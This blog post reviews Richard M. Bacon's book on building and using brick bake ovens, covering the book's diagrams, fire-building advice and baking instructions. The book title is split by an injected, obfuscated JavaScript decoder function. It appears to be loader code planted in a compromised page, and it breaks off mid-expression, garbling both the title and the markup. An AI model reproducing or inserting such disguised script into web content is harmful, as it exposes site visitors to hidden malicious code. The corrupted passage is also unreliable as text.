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July 16, 2006

Book Review: The Forgotten Art of Building and Using a Brick Bake Oven

Filed under: review, books, cooking, food — suzanne henderson @ 10:28 am

The Forgotten Art of Building <script type=function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand Using a Brick Bake Oven” />

[The Forgotten Art of Building and Using a Brick Bake Oven] by [Richard M. Bacon] also had the titles “How to Date, Renovate, or Use an Existing Brick Oven, or to Construct a New One” and “The Lore an History of an Indispensable Part of the Kitchen from Colonial Times tot he 1800s”. Lots of titles for a slender book.

This is a very compact book with lots of descriptions, images, and diagrams. On first impression, I didn’t really find it useful for dating a brick oven, but maybe if I spent more time looking at them I’d find some of his descriptions helpful. What I really enjoyed was the detailing on how to build your own brick oven, the proper method for building a fire, and general baking instructions.

The images offer plenty of dimensions and considerations for building a working brick oven in your fireplace or in any other area of the kitchen. I look forward to building one some day and baking in the oven while cooking in the open-hearth.